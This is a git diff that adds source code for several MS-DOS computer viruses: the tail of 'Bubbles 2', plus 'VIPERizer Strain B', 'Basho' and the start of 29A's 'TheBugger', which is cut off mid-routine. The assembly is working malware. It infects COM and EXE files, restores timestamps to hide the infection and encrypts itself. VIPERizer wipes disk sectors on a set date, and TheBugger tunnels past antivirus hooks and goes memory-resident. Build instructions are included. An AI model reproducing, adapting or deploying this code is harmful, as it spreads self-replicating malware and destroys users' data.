[bp+buffer],byte ptr 0e9h ; Setup new jump + mov word ptr [bp+buffer+1],bx ; Save new jump + + mov word ptr [bp+buffer+3],id ; Put in ID + mov cx,5 ; Number of bytes to write + + jmp finishinfection +InfectExe: + les ax,dword ptr [bp+buffer+14h] ; Load es with seg address + mov word ptr [bp+jmpsave2],ax ; save old cs:ip + mov word ptr [bp+jmpsave2+2],es + + les ax,dword ptr [bp+buffer+0eh] ; save old ss:sp + mov word ptr [bp+stacksave2],es ; save old cs:ip + mov word ptr [bp+stacksave2+2],ax + + mov ax, word ptr [bp+buffer+8] ; get header size + mov cl,4 + shl ax,cl + xchg ax,bx + les ax,[bp+offset DTA+26] ; get files size from dta + mov dx,es ; its now in dx:ax + push ax ; save these + push dx + + sub ax,bx ; subtract header size from fsize + sbb dx,0 ; subtract the carry too + mov cx,10h ; convert to segment:offset form + div cx + + mov word ptr [bp+buffer+14h],dx ; put in new header + mov word ptr [bp+buffer+16h],ax ; cs:ip + + mov word ptr [bp+buffer+0eh],ax ; ss:sp + mov word ptr [bp+buffer+10h],id ; put id in for later + pop dx ; get the file length back + pop ax + + add ax,eof-virus ; add virus size + adc dx,0 ; add with carry + + mov cl,9 ; calculates new file size + push ax + shr ax,cl + ror dx,cl + stc + adc dx,ax + pop ax + and ah,1 + + mov word ptr [bp+buffer+4],dx ; save new file size in header + mov word ptr [bp+buffer+2],ax + + push cs ; es = cs + pop es + + mov cx,1ah ; Size of EXE header +FinishInfection: + push cx ; save # of bytes to write + xor cx,cx ; Set attriutes to none + call attributes + + mov al,2 ; open file read/write + call open + + mov ah,40h ; Write to file + lea dx,[bp+buffer] ; Location of bytes + pop cx ; Get number of bytes to write + int 21h + jc closefile + + mov al,02 ; Move Fpointer to eof + Call move_fp + +get_time: + mov ah,2ch ; Get time for encryption value + int 21h + cmp dh,0 ; If its seconds are zero get another + je get_time + mov [bp+enc_value],dh ; Use seconds value for encryption + + call encrypt_infect ; Encrypt and infect the file + + inc [bp+counter] ; Increment the counter + +CloseFile: + mov ax,5701h ; Set files date/time back + mov cx,word ptr [bp+dta+16h] ; Get old time from dta + mov dx,word ptr [bp+dta+18h] ; Get old date + int 21h + + mov ah,3eh ; Close file + int 21h + + xor cx,cx + mov cl,byte ptr [bp+dta+15h] ; Get old Attributes + call attributes + + retn + +Activate: + mov ah,2ah ; Get current date + int 21h + + cmp cx,1993 ; Check current Year + jb dont_activate + cmp dl,13 ; Check current Day + jne dont_activate + + mov ah,2ch ; Get current time + int 21h + + cmp ch,13 ; Check current hour + jne dont_activate + + mov ah,9 ; Display string + lea dx,[bp+messege] ; The string to display + int 21h + + mov cx,2 + include .\routines\phasor.rtn ; Include file + +Dont_Activate: + ret + +Move_Fp: + mov ah,42h ; Move file pointer + xor cx,cx ; Al has location + xor dx,dx ; Clear these + int 21h + retn + +Set_DTA: + mov ah,1ah ; Move the DTA location + int 21h ; DX has location + retn + +Open: + mov ah,3dh ; open file + lea dx,[bp+DTA+30] ; Filename in DTA + int 21h + xchg ax,bx ; put file handle in bx + ret + +Attributes: + mov ax,4301h ; Set attributes to cx + lea dx,[bp+DTA+30] ; filename in DTA + int 21h + ret + +int24: ; New Int 24h + mov al,3 ; Fail call + iret ; Return from int 24 call + +Virusname db 'Bubbles 2' ; Name Of The Virus +Author db 'Admiral Bailey' ; Author Of This Virus +messege: + db 'Bubbles 2 : Its back and better then ever.',10,13 + db ' ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^',10,13 + db 'Is it me or does that Make no sense at all?',10,13 +Made_with db '[IVP2]',10,13,'$' ; Please do not remove this + +comfilespec db '*.com',0 ; Holds type of file to look for +exefilespec db '*.exe',0 ; Holds type of file to look for +directory db '..',0 ; Directory to change to +oldjump db 0cdh,020h,0,0,0 ; Old jump. Is int 20h for file quit + +Encrypt_Infect: + lea si,[bp+offset move_begin] ; Location of where to move from + lea di,[bp+offset workarea] ; Where to move it too + mov cx,move_end-move_begin ; Number of bytes to move +move_loop: + movsb ; Moves this routine into heap + loop move_loop + lea dx,[bp+offset workarea] + call dx ; Jump to that routine just moved + ret + +Move_Begin equ $ ; Marks beginning of move + push bx ; Save the file handle + lea dx,[bp+offset encrypt_end] + call dx ; Call the encrypt_decrypt procedure + pop bx ; Get handle back in bx and return + mov ah,40h ; Write to file + mov cx,eof-virus ; Number of bytes + lea dx,[bp+offset virus] ; Where to write from + int 21h + push bx ; Save the file handle + lea dx,[bp+offset encrypt_end] + call dx ; Decrypt the file and return + pop bx ; Get handle back in bx and return + ret +move_end equ $ ; Marks the end of move + +Encrypt_End equ $ ; Marks the end of encryption + +Encrypt_Decrypt: + mov cx,encrypt_end-encrypt_start ; bytes to encrypt + lea si,cs:[bp+encrypt_start] ; start of encryption + mov di,si +encloop: + lodsb + xor ah,cs:[bp+enc_value] + stosb + loop encloop + ret + +Enc_Value db 00h ; Hold the encryption value 00 for nul effect + +EOF equ $ ; Marks the end of file + +Counter db 0 ; Infected File Counter +Workarea db move_end-move_begin dup (?) ; Holds the encrypt_infect routine +currentdir db 64 dup (?) ; Holds the current dir +DTA db 42 dup (?) ; Location of new DTA +Buffer db 1ah dup (?) ; Holds exe header +OldInt24 dd ? ; Storage for old int 24h handler +Filler db 3000 dup (0) + +eov equ $ ; Used For Calculations + +code ends + end start + + +;--------- +; Instant Virus Production Kit By Admiral Bailey - Youngsters Against McAfee +; To compile this use TASM /M FILENAME.ASM +; Then type tlink /t FILENAME.OBJ +;--------- + diff --git a/b/Bush.asm b/b/Bush.asm new file mode 100755 index 0000000..087b3e9 --- /dev/null +++ b/b/Bush.asm @@ -0,0 +1,413 @@ +; +; VIPERizer, Strain B +; Copyright (c) 1992, Stingray/VIPER +; This is a Viral Inclined Programming Experts Ring Programming Team Production +; +; VIPER are: Stingray, Venom, and Guido Sanchez +; + +MOV_CX MACRO X ; Here is just a simple "mov cx,xxxx" macro. + DB 0B9H + DW X +ENDM + +CODE SEGMENT + ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE + ORG $+0100H + +VCODE: JMP virus + + NOP ; just a dud for the 'infected' file. + +v_start equ $ + + +virus: PUSH CX + mov ax,0ff0fh ; Thanks to RABID... Change Mem Marker + int 21h + cmp ax,101h ; Is VirexPC/FluShit in memory? + jne more_virus ; Nope. + jmp quit ; FUCK!!!!! +more_virus: + MOV DX,OFFSET vir_dat ;This is where the virus data starts. + ; The 2nd and 3rd bytes get modified. + CLD ;Pointers will be auto INcremented + MOV SI,DX ;Access data as offset from SI + ADD SI,first_3 ;Point to original 1st 3 bytes of .COM + MOV DI,OFFSET 100H ;`cause all .COM files start at 100H + mov cx,3 + REPZ MOVSB ;Restore original first 3 bytes of .COM + MOV SI,DX ;Keep SI pointing to the data area + + MOV AH,30H + INT 21H + nop + CMP AL,0 ;0 means it's version 1.X + JNZ dos_ok ;For version 2.0 or greater + JMP quit ;Don't try to infect version 1.X +dos_ok: + mov ah,2ch ; Get Time + int 21h ; Do it. + xor bx,bx ; VIPERize bx, for later use. + cmp dl,4 ; hund's of seconds 4? + jle print_message ; If 4 or less, print a message. + ; This serves as a random 1 in 20 + ; chance of the message printing + jmp short get_date ; No? What date is it...? +print_message: + mov dl, byte ptr [si+msg+bx] ; Get a byte of our message... + or dl,dl ; is it 0? (end of message) + jz get_date ; Get the date if it is... + sub dl,75 ; Unencrypt message + mov ah,2 ; Prepare to print one letter + int 21h ; do it! + inc bx ; point to next character. + jmp short print_message ; Do it again. +get_date: + mov ah,2ah ; What day is it? + int 21h ; Find out. + cmp dh,3 ; Is it february? + jne resume ; No? Oh well. + cmp dl,24 ; Is it valentines day? + jne resume ; No? Damn. + mov ah,2ch ; What time is it? + int 21h ; Find out. + cmp ch,7 ; Is it 7 hours? + jne resume ; No? C'est la vie... + cmp cl,45 ; Is it 45 minutes? + jne resume ; No? Too Bad... + xor bx,bx ; VIPERize bx +cool: + mov dl,byte ptr [si+msg2+bx] ; This is pretty much the + or dl,dl ; same as the above 'print' + jz no_mas ; function. except I didn't + sub dl,75 ; make it a procedure. + mov ah,2 + int 21h + inc bx + jmp short cool +no_mas: + mov al,0 ; Start with drive default +phri: + mov cx,255 ; Nuke a few sectors + mov dx,1 ; Beginning with sector 1!!! + int 26h ; VIPERize them!!!! Rah!!! + jc error ; Uh oh. Problem. + add sp,2 ; Worked great. Clear the stack... +error: + inc al ; Get another drive! + cmp al,200 ; Have we fried 200 drives? + je done_phrying ; Yep. + jmp short phri ; Nope. +done_phrying: + cli ; Disable Interrupts + hlt ; Lock up computer. +resume: + PUSH ES + MOV AH,2FH + INT 21H + nop + MOV [SI+old_dta],BX + MOV [SI+old_dts],ES ;Save the DTA address + POP ES + MOV DX,dta ;Offset of new DTA in virus data area + nop + ADD DX,SI ;Compute DTA address + MOV AH,1AH + INT 21H ;Set new DTA to inside our own code + nop + PUSH ES + PUSH SI + MOV ES,DS:2CH + MOV DI,0 ;ES:DI points to environment +find_path: + POP SI + PUSH SI ;Get SI back + ADD SI,env_str ;Point to "PATH=" string in data area + LODSB + nop + MOV CX,OFFSET 8000H ;Environment can be 32768 bytes long + REPNZ SCASB ;Search for first character + MOV CX,4 +check_next_4: + LODSB + SCASB + JNZ find_path ;If not all there, abort & start over + nop + LOOP check_next_4 ;Loop to check the next character + POP SI + POP ES + nop + MOV [SI+path_ad],DI ;Save the address of the PATH + MOV DI,SI + ADD DI,wrk_spc ;File name workspace + nop + MOV BX,SI ;Save a copy of SI + ADD SI,wrk_spc ;Point SI to workspace + MOV DI,SI ;Point DI to workspace + JMP SHORT slash_ok +set_subdir: + CMP WORD PTR [SI+path_ad],0 ;Is PATH string ended? + JNZ found_subdir ;If not, there are more subdirectories + JMP all_done ;Else, we're all done +found_subdir: + PUSH DS + PUSH SI + MOV DS,ES:2CH ;DS points to environment segment + nop + MOV DI,SI + MOV SI,ES:[DI+path_ad] ;SI = PATH address + ADD DI,wrk_spc ;DI points to file name workspace +move_subdir: + LODSB ;Get character + CMP AL,';' ;Is it a ';' delimiter? + JZ moved_one ;Yes, found another subdirectory + nop + CMP AL,0 ;End of PATH string? + JZ moved_last_one ;Yes + STOSB ;Save PATH marker into [DI] + JMP SHORT move_subdir +moved_last_one: + xor si,si +moved_one: + POP BX ;Pointer to virus data area + POP DS ;Restore DS + MOV [BX+path_ad],SI ;Address of next subdirectory + NOP + CMP CH,'\' ;Ends with "\"? + nop + JZ slash_ok ;If yes + MOV AL,'\' ;Add one, if not + STOSB +slash_ok: + MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace + MOV SI,BX ;Restore SI + ADD SI,f_spec ;Point to "*.COM" + MOV CX,6 + nop + REPZ MOVSB ;Move "*.COM",0 to workspace + MOV SI,BX + MOV AH,4EH + MOV DX,wrk_spc + ADD DX,SI ;DX points to "*.COM" in workspace + MOV CX,3 ;Attributes of Read Only or Hidden OK + INT 21H + nop + JMP SHORT find_first +find_next: + MOV AH,4FH + INT 21H + nop +find_first: + JNB found_file ;Jump if we found it + JMP SHORT set_subdir ;Otherwise, get another subdirectory +found_file: + MOV AX,[SI+dta_tim] ;Get time from DTA + AND AL,1FH ;Mask to remove all but seconds + CMP AL,1FH ;62 seconds -> already infected + JZ find_next ;If so, go find another file + CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long? + nop + JA find_next ;If too long, find another one + CMP WORD PTR [SI+dta_len],0AH ;Is it too short? + JB find_next ;Then go find another one + MOV DI,[SI+nam_ptr] ;DI points to file name + PUSH SI ;Save SI + ADD SI,dta_nam ;Point SI to file name +more_chars: + LODSB + STOSB + CMP AL,0 + JNZ more_chars ;Move characters until we find a 00 + POP SI + MOV AX,OFFSET 4300H + nop + MOV DX,wrk_spc ;Point to \path\name in workspace + ADD DX,SI + INT 21H + nop + MOV [SI+old_att],CX ;Save the old attributes + MOV AX,OFFSET 4301H ;Set attributes + AND CX,OFFSET 0FFFEH ;Set all except "read only" (weird) + nop + MOV DX,wrk_spc ;Offset of \path\name in workspace + ADD DX,SI ;Point to \path\name + INT 21H + nop + MOV AX,OFFSET 3D02H ;Read/Write + nop + MOV DX,wrk_spc ;Offset to \path\name in workspace + ADD DX,SI ;Point to \path\name + INT 21H + nop + JNB opened_ok ;If file was opened OK + JMP fix_attr ;If it failed, restore the attributes + +opened_ok: + MOV BX,AX + MOV AX,OFFSET 5700H + INT 21H + nop + MOV [SI+old_tim],CX ;Save file time + MOV [SI+ol_date],DX ;Save the date + MOV AH,3FH + nop + MOV CX,3 + MOV DX,first_3 + ADD DX,SI + INT 21H ;Save first 3 bytes into the data area + nop + JB fix_time_stamp ;Quit, if read failed + CMP AX,3 ;Were we able to read all 3 bytes? + JNZ fix_time_stamp ;Quit, if not + MOV AX,OFFSET 4202H + xor cx,cx + xor dx,dx + INT 21H + nop + JB fix_time_stamp ;Quit, if it didn't work + MOV CX,AX ;DX:AX (long int) = file size + SUB AX,3 ;Subtract 3 (OK, since DX must be 0, here) + MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction + nop + ADD CX,OFFSET c_len_y + MOV DI,SI ;Point DI to virus data area + SUB DI,OFFSET c_len_x + ;Point DI to reference vir_dat, at start of pgm + MOV [DI],CX ;Modify vir_dat reference:2nd, 3rd bytes of pgm + MOV AH,40H + MOV_CX virlen ;Length of virus, in bytes + nop + MOV DX,SI + SUB DX,OFFSET codelen ;Length of virus code, gives starting + ; address of virus code in memory + INT 21H + nop + JB fix_time_stamp ;Jump if error + CMP AX,OFFSET virlen ;All bytes written? + JNZ fix_time_stamp ;Jump if error + MOV AX,OFFSET 4200H + xor cx,cx + xor dx,dx + INT 21H + nop + JB fix_time_stamp ;Jump if error + MOV AH,40H + MOV CX,3 + nop + MOV DX,SI ;Virus data area + ADD DX,jmp_op ;Point to the reconstructed JMP + INT 21H + nop +fix_time_stamp: + MOV DX,[SI+ol_date] ;Old file date + nop + MOV CX,[SI+old_tim] ;Old file time + AND CX,OFFSET 0FFE0H + nop + OR CX,1FH ;Seconds = 31/30 min = 62 seconds + MOV AX,OFFSET 5701H + INT 21H + nop + MOV AH,3EH + INT 21H + nop +fix_attr: + MOV AX,OFFSET 4301H + MOV CX,[SI+old_att] ;Old Attributes + nop + MOV DX,wrk_spc + ADD DX,SI ;DX points to \path\name in workspace + INT 21H + nop +all_done: + PUSH DS + MOV AH,1AH + MOV DX,[SI+old_dta] + nop + MOV DS,[SI+old_dts] + INT 21H + nop + POP DS + nop +quit: + POP CX + XOR AX,AX + XOR BX,BX + xor cx,cx + XOR DX,DX + XOR SI,SI + MOV DI,OFFSET 0100H + PUSH DI + XOR DI,DI + RET 0FFFFH +vir_dat EQU $ +olddta_ DW 0 ;Old DTA offset +olddts_ DW 0 ;Old DTA segment +oldtim_ DW 0 ;Old Time +oldate_ DW 0 ;Old date +oldatt_ DW 0 ;Old file attributes +first3_ EQU $ + INT 20H + NOP +jmpop_ DB 0E9H ;Start of JMP instruction +jmpdsp_ DW 0 ;The displacement part +fspec_ DB '*.COM',0 +pathad_ DW 0 ;Path address +namptr_ DW 0 ;Pointer to start of file name +envstr_ DB 'PATH=' ;Find this in the environment +wrkspc_ DB 40h dup (0) +dta_ DB 16h dup (0) ;Temporary DTA goes here +dtatim_ DW 0,0 ;Time stamp in DTA +dtalen_ DW 0,0 ;File length in the DTA +dtanam_ DB 0Dh dup (0) ;File name in the DTA +reboot_ DB 0EAH,0F0H,0FFH,0FFH,0FFH ;Five byte FAR JMP to FFFF:FFF0 + +_msg db 158,186,189,189,196,107,191,179,180,190,107,174,186,184,187,192 + db 191,176,189,107,180,190,107,185,186,107,183,186,185,178,176,189 + db 107,186,187,176,189,172,191,180,186,185,172,183,107,175,192,176 + db 107,191,186,107,172,185,107,186,192,191,173,189,176,172,182,107 + db 186,177,088,141,192,190,179,180,190,179,180,189,186,088,147,172 + db 193,176,107,172,107,153,148,142,144,107,175,172,196,121,121,121 + db 088 + db 0 + +_msg2 db 161,148,155,144,157,180,197,176,189,119,107,158,191,189,172,180 + db 185,107,141,085,088 + db 115,174,116,107,124,132,132,125,119,107,158,191,180,185,178,189 + db 172,196,122,161,148,155,144,157,085,088 + db 147,172,187,187,196,107,161,172,183,176,185,191,180,185,176,190 + db 107,143,172,196,108,085,088 + db 0 + + +lst_byt EQU $ ;All lines that assemble into code are + ; above this one + +virlen = lst_byt - v_start ;Length, in bytes, of the entire virus +codelen = vir_dat - v_start ;Length of virus code, only +c_len_x = vir_dat - v_start - 2 ;Displacement for self-modifying code +c_len_y = vir_dat - v_start + 100H ;Code length + 100h, for PSP +old_dta = olddta_ - vir_dat ;Displacement to the old DTA offset +old_dts = olddts_ - vir_dat ;Displacement to the old DTA segment +old_tim = oldtim_ - vir_dat ;Displacement to old file time stamp +ol_date = oldate_ - vir_dat ;Displacement to old file date stamp +old_att = oldatt_ - vir_dat ;Displacement to old attributes +first_3 = first3_ - vir_dat ;Displacement-1st 3 bytes of old .COM +jmp_op = jmpop_ - vir_dat ;Displacement to the JMP opcode +jmp_dsp = jmpdsp_ - vir_dat ;Displacement to the 2nd 2 bytes of JMP +f_spec = fspec_ - vir_dat ;Displacement to the "*.COM" string +path_ad = pathad_ - vir_dat ;Displacement to the path address +nam_ptr = namptr_ - vir_dat ;Displacement to the filename pointer +env_str = envstr_ - vir_dat ;Displacement to the "PATH=" string +wrk_spc = wrkspc_ - vir_dat ;Displacement to the filename workspace +dta = dta_ - vir_dat ;Displacement to the temporary DTA +dta_tim = dtatim_ - vir_dat ;Displacement to the time in the DTA +dta_len = dtalen_ - vir_dat ;Displacement to the length in the DTA +dta_nam = dtanam_ - vir_dat ;Displacement to the name in the DTA +reboot = reboot_ - vir_dat ;Displacement to the 5 byte reboot code +msg = _msg - vir_dat ; Disp. to 1st msg +msg2 = _msg2 - vir_dat ; Disp. to 2nd msg + CODE ENDS +END VCODE + \ No newline at end of file diff --git a/b/basho.asm b/b/basho.asm new file mode 100755 index 0000000..4c1f877 --- /dev/null +++ b/b/basho.asm @@ -0,0 +1,331 @@ +; NAME: Basho.com +; SIZE: 431 bytes +; AUTHOR: Sea4 +; TYPE: Appending in a weird way. +; ENCRYPTION: No +; DT: Yes +; STEALTH: No +; REPAIRABLE: Yes +; PAYLOAD: Yes +; RESIDENT: No +; ROI: 4 files per run +; POLYMORPHIC: No + +; Explanation. +; Its not very easy to understand at first glance how it even possibly works. +; But the plain and simple fact is that it DOES work, and it works well. I +; thought of the concept right before I went to sleep the other night, maybe +; I was having hallucinations or something. I am not even sure if its an +; original idea. But I like it! + +; WTF it does: +; Upon execution the JMP at the beginning of the infected file will jump to +; what I call the virus' launching pad. Its does a few menial tasks like +; saving/restoring program code and the DTA. It also launches the true virus. +; The true virus is stored where actual program code used to be, I call that +; area of program code P3. +; P1 = Is the area the infecting JMP is stored. +; P2 = Is the middle of infected program. +; P3 = The last bytes of program that have been moved to +; make room for Basho. +; V1 = Main Body of BASHO +; V2 = Launching Pad +; Upon execution of the true virus code, files will be infected, and the bomb +; will be tested, etc. etc. Afterward the True Virus Code will RET back to +; the launchpad, and the P3 area will be restored as well as the DTA, and +; the host file will be run 100% without error. ( or at least I think so ). + +; Why the hell I did it: +; Just to confuse everyone, including the AV companies and myself. + +; -- Sea4 of the CodeBreakers + +;*************************************************************** +; A little Map +;============== ============== +;| | |____________| <-- Jmp To Launching +;| | | | Pad ( P1 ) +;| | | Program | +;| UnInfected | | bytes that | +;| Host | | are not | +;| | | affected. | +;| | | ( P2 ) | +;| | | | +;| | | | +;| | | | +;| | |____________| +;| | | | +;| | File Length | Main body | +;| | Before Infect.| of BASHO. | +;| | | | ( V1 ) | +;| | | | * | <-- Ret to Launch Pad +;============== <<- - - ->> ============== +; | Bytes moved| +; Additional Area |to make room| +; Now that file has been |for BASHO. | +; infected with BASHO | ( P3 ) | +; |____________| +; |Launch Pad | +; P3 and the main body | ( V2 ) | +; of BASHO have the same ============== <-- New file length +; length. +; +;*************************************************************** + +start: +jmp StartV2 + +startV1: ; Actual Virus code +V1Length EQU endV1-startV1 + +mov [bp+victims],cl ; Starts at 0 for victem count + +mov ah,47h ; Function 47h: Get Current Directory +cwd ; 00h in DL = Default Drive +lea si,[bp+Cur_DIR] ; 64 byte buffer for pathname +int 21h ; Calls DOS to write current DIR to CurDIR + +Dot_Dot: +jmp short infectDIR +Next_Dir: +mov ah,3Bh ; Function 3Bh: Change Directory +lea dx,[bp+Dot_mask] ; Saved starting directory +int 21h ; Calls DOS or Dir Change +jnc Dot_Dot + +jmp Badstuff ; All directories have been killed, lets go + +InfectDIR: +; Here is our find file thingy +mov ah,4Eh ; Find files +mov cx,7 ; Looking for all file types +lea dx,[bp+com_mask] ; Points to the *.com +FindNext: +int 21h ; Find all the com files + +jnc Open ; Success +jmp Next_DIR ; None left in this directory, lets move + +Move_FP: ; Move file Pointer call +mov ax,4200h +Here: +xor cx,cx +int 21h +ret + +Open: +; Set attrib to 0, so we can write over read only files and such +mov ax,4301h ; Set attrib to 0 +lea dx,[bp+File_name] +Call Here + +; Opens file for read/write access +mov ax,3D02h ; Open File +int 21h + +xchg bx,ax ; Gives the file handle from AX to BX in one byte. + +mov ah,3Fh ; Read first three bytes +mov cl,3 ; 3 bytes, CX holds number of bytes to read +lea dx,[bp+saved] ; Buffer for saved bytes :) +int 21h ; Tells DOS to read 'em + +; Check infection criteria +; If file is too large it may crash, and too small is easily noticable +xor cx,cx ; See if file is larger than 1 segment +cmp cx,[bp+File_size_off] ; 9Ch holds the segment size, Basho doesn't handle + ; files larger than one segment, so we can't + ; infect something larger than FFFFh bytes +jnz Close ; Its more than 1 segment lets escape + +mov ax,[bp+File_size] ; Retrieves offset size of target file + +; File must be greater than 1k +; Keeping smaller files from being infected +cmp ax,400h ; 400h = 1024 bytes ( 1k ) +jc Close ; Its too small, get the hell outta here + +; File must be less than 61440 +; Stack errors and wrapping of bytes may occur if the +; file + virus + buffer excedes 1 segment ( FFFFh bytes ) +cmp ax,0F000h ; 61440, to provide room for buffer and virus size +jnc Close ; To big, may cause errors, can't do it + +push ax ; Saves file size for later +sub ax,3 ; Taking into account the JMP +push ax ; Save that for the new 3 bytes + +; Test 2nd + 3rd bytes for JMP location to V2 ( LaunchPad ) +; Here we check for previous infection by testing if the jump looks +; like one created by a previous running of Basho. +sub ax,V2Length ; We need the new jump to go to the launch pad +cmp ax,[bp+saved+1] ; Tests if the file has been infected with Basho +jz Close + +pop ax ; Retrieves jump location +add ax,V1Length ; Adds the length added by virus +mov [bp+jumpto],ax ; Sets jump location for victim + +; Set FP to beginning +xor dx,dx +call Move_FP + +; Write new JMP to victim +mov cl,3 ; Length of area to write ( 3 bytes ) +lea dx,[bp+jumping] ; its the location of the new JMP +mov ah,40h +int 21h + +; Move FP to get bytes from End of victim +; Since DX specifies the location in bytes from beginning we want +; to move the FP, and since we want to move to End of File-V1Length +; We take the entire filesize-V1Length, and move that far from +; the beginning of file. +pop dx ; Retrieves filesize +sub dx,V1Length ; Places location in file at End-V1Length +push dx ; Saves this spot for the write +call Move_FP + +; Here is where we retrieve the P3 file bytes and save them for later +mov ah,3Fh ; Function 3Fh: Read from file/device +mov cx,V1Length ; Number of bytes to read +lea dx,[bp+startP3] ; Actual area for file bytes +int 21h ; Duh, it read those bytes into the P3 area + +; Now we write the virus code into that area we just made +pop dx ; Retrieves location by previous Move FP +call Move_FP + +mov cx,endV2-startV1 ; Now we can just write all that area to +lea dx,[bp+startV1] ; The victem because we have prepared so well :) +mov ah,40h +int 21h + +inc Byte Ptr [bp+victims] ; Increments our Byte counter + +Close: +mov ax,5701h ; Set Date/Time stamps +mov dx,[bp+File_Date] +mov cx,[bp+File_Time] +int 21h + +; Close File +mov ah,3Eh ; Function 3Eh: Close file +int 21h ; Shut that mo fo down + +mov ah,43h ; Reset attributes +lea dx,[bp+File_Name] +xor cx,cx +mov cl,[bp+Attributes] +int 21h + +mov ch,04h ; Only four files per run +cmp [bp+victims],ch ; Sees if we have had that many so far +jnc BadStuff ; If so, run the bomb sequence + +mov ax,4F00h ; Jump to FindNext routines +jmp FindNext + + +BadStuff: ; Payload +; Before starting the bomb, we head to original DIR + +mov ah,3Bh ; Function 3Bh: Change Directory +lea dx,[bp+Cur_DIR]; Saved starting directory +int 21h + +; Activation checker +mov ah,04h ; Function 04h: Get Real Time Clock ( Date ) +int 1Ah ; INT 1Ah BIOS Time interrupt + ; Gets the date and puts the value into the following + ; registers. + ; CH = Century + ; CL = Year + ; DH = Month + ; DL = Day + +cmp dx,0701h ; July 7th, I like this day. +jnz Exit ; Its not the date, we'll try another time + +; Just displays a simple message +mov ah,09h ; Function 09h: Write string to std output +lea dx,[bp+message] ; Where the message is stored +int 21h ; Announce our presence + +Exit: +mov sp,0FFFCh ; Restores the stack pointer to where the RET should go to +ret ; I did this to make sure it would go back to the right spot + ; Then return to caller. + +virus_name db '[Basho]',0 ; Named after the poet +author db 'Sea4, CodeBreakers',0 ; Me and who I work for +com_mask db '1.com',0 ; Com file mask +dot_mask db '..',0 ; Dot dot dir mask +saved db 0CDh,20h,00h ; Saved 3 bytes from infected files +jumping db 0E9h ; JMP +jumpto db 0,0 ; Jump to launch pad +message db 'The temple bell stops,',0Dh,0Ah ; A lovely Haiku + db 'But the sound keeps coming',0Dh,0Ah + db 'Out of the flowers.',0Dh,0Ah,'$' + +endV1: + + +startP3: ; Program code that has been moved to accomodate our virus +db V1Length dup (90h) + +endP3: + + +startV2: ; Virus's little launching pad. +V2Length EQU endV2-startv2 + +; Pretty cut and dry delta offset thing +call Delta ; Gets delta offsets +Delta: +pop bp ; Retrieve Locale for BP +sub bp,offset Delta ; Subtracts that by the original to obtain + ; the location moved down in memory + +mov ah,1Ah ; Set new DTA, this is a first for me +lea dx,[bp+New_Dta] +int 21h + +; Rewrite first three bytes +lea si,[bp+saved] ; Where we saved em +mov di,100h ; Start of Program, ( i.e. where they go ) +movsb +movsw + +lea di,[bp+BufferP3] ; This block moves P3 code into the buffer so the +lea si,[bp+StartP3] ; when the virus runs, it doesn't get overwritten +mov cx,V1Length ; Length of that area +rep movsb ; Move it out!! + +call StartV1 ; Normal Virus Code + +lea si,[bp+BufferP3] ; Loads start of moved program code into SI +lea di,[bp+startV1] ; Virus location into DI +mov cx,V1length ; Virus code length +rep movsb ; Restores bytes + +; Restores the saved DTA +mov ah,1Ah ; Set original DTA +mov dx,80h +int 21h + +push 100h ; We are gonna run the host program now +ret ; Go for it + +endV2: +Buffer: +New_Dta db 21 dup (90h) ; DTA!! +Attributes db 00h +File_time dw 00h +File_date dw 00h +File_size dw 00h +File_size_off dw 00h +File_name db 13 dup (0) +victims db 0h ; Victim count +Cur_DIR db 64 dup (0) ; Location of current DIR +BufferP3: diff --git a/b/bugger.asm b/b/bugger.asm new file mode 100755 index 0000000..c9e350c --- /dev/null +++ b/b/bugger.asm @@ -0,0 +1,537 @@ +; +; +; +; = == = +; +; VIRUS. +; +; A 29A Research Code by The Slug. +; +; TheBugger is a simple COM infector with some interesting +; inprovements. +; +; Its first difference with a normal COM virus is the tricky resident +; check; it's designed to avoid lamers writing the typical resident +; program wich returns the residency code and forces the virus to not +; install in memory. To avoid that, the virus makes an extra check of +; a random byte in the memory copy; if the check fails, it jumps to a +; simulated HD formatting routine }:). +; +; Another interesting feature is the tunneling routine. It uses the +; common code trace method but it starts tracing from PSP call to int +; 21h instead of doing it from normal int 21h vector in order to avoid +; resident antivirus stopping trace mode. This call is supported for +; compatibility with older DOS versions and it has some little +; diferences with the normal int 21 handler: first, the function code +; is passed in cl register (not in ah as usual) and second, the +; function to call can't be higher than 24h. These diferences are +; handled by the O.S. in a separated routine and then it jumps to the +; original int 21h handler, so the tunneling routine only skips the +; first 'compatibility' routines and gets the real int 21h address :). +; +; The last big feature, is the infection method; the virus infects COM +; files by changing a call in host code to point to it. This call may +; be one between the second and fifth. This is done by intercepting +; the int 21h service 4bh (exec), when a COM file is executed, the vi- +; rus changes its first word with an int CDh call, it intercepts this +; int and jumps to the int 21h. When the host starts running, it exe- +; cutes the int CDh and then the virus takes control; it restores host +; first word and changes int 01h to trace host in order to find a call +; to infect }:) The use of int CDh can be avoided by tracing int 21h +; until host code, but this way we have the same problem of resident +; antivirus. +; +; And that's all folks :), enjoy it. +; +; 9  +; The Slug/29A };){|0D==8 +; I Love This Job. 3-------- +; + +.286 +code segment 'TheBugger' +assume cs:code,ds:code,ss:code +org 0h + +virsize equ (virend-start)+1 + +; Main C0de + +start: push cs ;address t0 return t0 h0st. + db 68h ;push '0ffset'. + retonno dw 0000 + + push ds es + pusha + + call sig ;get nasty delta 0ffset. +sig: pop si + sub si, offset(sig) + + mov ax, 0B0B0h ;resident check. + int 21h + cmp ax, 0BABAh + jne instal + jmp lstchk + +instal: mov ah, 62h ;get PSP segment. + int 21h + xchg bx,ax ;get MCB addres. + dec ax + mov ds,ax + + cmp byte ptr ds:[0],'Z' ;is the last MCB? + je chgmcb + jmp aprog + +chgmcb: sub word ptr ds:[3],(virsize/10h)+8 ;change bl0ck size in MCB + sub word ptr ds:[12h],(virsize/10h)+8 ;& in PSP. + add ax,ds:[3] + inc ax + + cld ;copy to new l0cati0n. + mov es, ax + xor di, di + push cs + pop ds + mov cx, virsize + rep movsb + + push es ;jump t0 c0py. + push offset(newcpy) + retf + +newcpy: mov si, 06h ;m0ve call t0 int 21, + lea di, PSPcall+1 ;fr0m PSP t0 c0py 0f virus. + movsw + movsw + + mov ds, cx ;save curent int 21h vect0r. + mov si,21h*4 ;) cx=0 + lea di,int21+1 + movsw + movsw + + mov word ptr ds:[01h*4], offset(tunn) ;hang tunneling code :) + mov word ptr ds:[01h*4]+2, es + + pushf ;call int 21h fr0m PSP in trace m0de. + pop ax + or ah, 01h + push ax + mov cl, 0Bh ;get input 